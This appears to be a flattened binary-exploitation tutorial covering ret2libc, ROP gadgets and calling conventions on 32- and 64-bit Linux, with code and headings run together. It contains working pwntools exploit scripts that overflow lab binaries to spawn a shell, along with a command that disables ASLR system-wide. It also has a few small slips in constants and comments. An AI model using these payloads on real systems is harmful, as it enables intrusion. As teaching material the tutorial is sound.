A minor issue
ret = elf.address + 0x2439
[...]
rop.raw(POP_RDI)
rop.raw(0x4) # first parameter
rop.raw(ret) # align the stack
rop.raw(system)The standard ROP exploit
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space$ ldd vuln-32
linux-gate.so.1 (0xf7fd2000)
libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
/lib/ld-linux.so.2 (0xf7fd3000)$ readelf -s /lib32/libc.so.6 | grep system
1534: 00044f00 55 FUNC WEAK DEFAULT 14 system@@GLIBC_2.0$ strings -a -t x /lib32/libc.so.6 | grep /bin/sh
18c32b /bin/shfrom pwn import *
p = process('./vuln-32')
libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()$ ROPgadget --binary vuln-64 | grep rdi
[...]
0x00000000004011cb : pop rdi ; retfrom pwn import *
p = process('./vuln-64')
libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143
POP_RDI = 0x4011cb
payload = b'A' * 72 # The padding
payload += p64(POP_RDI) # gadget -> pop rdi; ret
payload += p64(binsh) # pointer to command: /bin/sh
payload += p64(system) # Location of system
payload += p64(0x0) # return pointer - not important once we get the shell
p.clean()
p.sendline(payload)
p.interactive()# 32-bit
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
libc = elf.libc # Simply grab the libc it's running with
libc.address = 0xf7dc2000 # Set base address
system = libc.sym['system'] # Grab location of system
binsh = next(libc.search(b'/bin/sh')) # grab string location
payload = b'A' * 76 # The padding
payload += p32(system) # Location of system
payload += p32(0x0) # return pointer - not important once we get the shell
payload += p32(binsh) # pointer to command: /bin/sh
p.clean()
p.sendline(payload)
p.interactive()A more in-depth look into parameters for 32-bit and 64-bit programs
#include <stdio.h>
void vuln(int check) {
if(check == 0xdeadbeef) {
puts("Nice!");
} else {
puts("Not nice!");
}
}
int main() {
vuln(0xdeadbeef);
vuln(0xdeadc0de);
}Nice!
Not nice!$ r2 -d -A vuln-32
$ s main; pdf
0x080491ac 8d4c2404 lea ecx, [argv]
0x080491b0 83e4f0 and esp, 0xfffffff0
0x080491b3 ff71fc push dword [ecx - 4]
0x080491b6 55 push ebp
0x080491b7 89e5 mov ebp, esp
0x080491b9 51 push ecx
0x080491ba 83ec04 sub esp, 4
0x080491bd e832000000 call sym.__x86.get_pc_thunk.ax
0x080491c2 053e2e0000 add eax, 0x2e3e
0x080491c7 83ec0c sub esp, 0xc
0x080491ca 68efbeadde push 0xdeadbeef
0x080491cf e88effffff call sym.vuln
0x080491d4 83c410 add esp, 0x10
0x080491d7 83ec0c sub esp, 0xc
0x080491da 68dec0adde push 0xdeadc0de
0x080491df e87effffff call sym.vuln
0x080491e4 83c410 add esp, 0x10
0x080491e7 b800000000 mov eax, 0
0x080491ec 8b4dfc mov ecx, dword [var_4h]
0x080491ef c9 leave
0x080491f0 8d61fc lea esp, [ecx - 4]
0x080491f3 c3 retpush 0xdeadbeef
call sym.vuln
[...]
push 0xdeadc0de
call sym.vuln[0x080491ac]> db sym.vuln
[0x080491ac]> dc
hit breakpoint at: 8049162
[0x08049162]> pxw @ esp
0xffdeb54c 0x080491d4 0xdeadbeef 0xffdeb624 0xffdeb62c┌ 74: sym.vuln (int32_t arg_8h);
│ ; var int32_t var_4h @ ebp-0x4
│ ; arg int32_t arg_8h @ ebp+0x8
│ 0x08049162 b 55 push ebp
│ 0x08049163 89e5 mov ebp, esp
│ 0x08049165 53 push ebx
│ 0x08049166 83ec04 sub esp, 4
│ 0x08049169 e886000000 call sym.__x86.get_pc_thunk.ax
│ 0x0804916e 05922e0000 add eax, 0x2e92
│ 0x08049173 817d08efbead. cmp dword [arg_8h], 0xdeadbeef
│ ┌─< 0x0804917a 7516 jne 0x8049192
│ │ 0x0804917c 83ec0c sub esp, 0xc
│ │ 0x0804917f 8d9008e0ffff lea edx, [eax - 0x1ff8]
│ │ 0x08049185 52 push edx
│ │ 0x08049186 89c3 mov ebx, eax
│ │ 0x08049188 e8a3feffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x0804918d 83c410 add esp, 0x10
│ ┌──< 0x08049190 eb14 jmp 0x80491a6
│ │└─> 0x08049192 83ec0c sub esp, 0xc
│ │ 0x08049195 8d900ee0ffff lea edx, [eax - 0x1ff2]
│ │ 0x0804919b 52 push edx
│ │ 0x0804919c 89c3 mov ebx, eax
│ │ 0x0804919e e88dfeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x080491a3 83c410 add esp, 0x10
│ │ ; CODE XREF from sym.vuln @ 0x8049190
│ └──> 0x080491a6 90 nop
│ 0x080491a7 8b5dfc mov ebx, dword [var_4h]
│ 0x080491aa c9 leave
â”” 0x080491ab c3 retcmp dword [arg_8h], 0xdeadbeefreturn address param_10x00401153 55 push rbp
0x00401154 4889e5 mov rbp, rsp
0x00401157 bfefbeadde mov edi, 0xdeadbeef
0x0040115c e8c1ffffff call sym.vuln
0x00401161 bfdec0adde mov edi, 0xdeadc0de
0x00401166 e8b7ffffff call sym.vuln
0x0040116b b800000000 mov eax, 0
0x00401170 5d pop rbp
0x00401171 c3 retdr rdi[0x00401153]> db sym.vuln
[0x00401153]> dc
hit breakpoint at: 401122
[0x00401122]> dr rdi
0xdeadbeef#include <stdio.h>
void vuln(int check, int check2, int check3) {
if(check == 0xdeadbeef && check2 == 0xdeadc0de && check3 == 0xc0ded00d) {
puts("Nice!");
} else {
puts("Not nice!");
}
}
int main() {
vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
vuln(0xdeadc0de, 0x12345678, 0xabcdef10);
}0x080491dd 680dd0dec0 push 0xc0ded00d
0x080491e2 68dec0adde push 0xdeadc0de
0x080491e7 68efbeadde push 0xdeadbeef
0x080491ec e871ffffff call sym.vuln
[...]
0x080491f7 6810efcdab push 0xabcdef10
0x080491fc 6878563412 push 0x12345678
0x08049201 68dec0adde push 0xdeadc0de
0x08049206 e857ffffff call sym.vuln[0x080491bf]> db sym.vuln
[0x080491bf]> dc
hit breakpoint at: 8049162
[0x08049162]> pxw @ esp
0xffb45efc 0x080491f1 0xdeadbeef 0xdeadc0de 0xc0ded00dreturn pointer param1 param2 param3 [...] paramN0x00401170 ba0dd0dec0 mov edx, 0xc0ded00d
0x00401175 bedec0adde mov esi, 0xdeadc0de
0x0040117a bfefbeadde mov edi, 0xdeadbeef
0x0040117f e89effffff call sym.vuln
0x00401184 ba10efcdab mov edx, 0xabcdef10
0x00401189 be78563412 mov esi, 0x12345678
0x0040118e bfdec0adde mov edi, 0xdeadc0de
0x00401193 e88affffff call sym.vuln#include <stdio.h>
void vuln(long check) {
if(check == 0xdeadbeefc0dedd00d) {
puts("Nice!");
}
}
int main() {
vuln(0xdeadbeefc0dedd00d);
}movabs rdi, 0xdeadbeefc0ded00d
call sym.vulnUtilising Calling Conventions
Bypassing NX
$ ROPgadget --binary vuln-64
Gadgets information
============================================================
0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401024
[...]$ ROPgadget --binary vuln-64 | grep rdi
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x00000000004011db : pop rdi ; retfrom pwn import *
p = process('./vuln-32')
payload = b'A' * 52 # Padding up to EIP
payload += p32(0x080491c7) # Address of flag()
payload += p32(0x0) # Return address - don't care if crashes when done
payload += p32(0xdeadc0de) # First parameter
payload += p32(0xc0ded00d) # Second parameter
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())from pwn import *
p = process('./vuln-64')
POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
payload = b'A' * 56 # Padding
payload += p64(POP_RDI) # pop rdi; ret
payload += p64(0xdeadc0de) # value into rdi -> first param
payload += p64(POP_RSI_R15) # pop rsi; pop r15; ret
payload += p64(0xc0ded00d) # value into rsi -> first param
payload += p64(0x0) # value into r15 -> not important
payload += p64(0x40116f) # Address of flag()
payload += p64(0x0)
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())





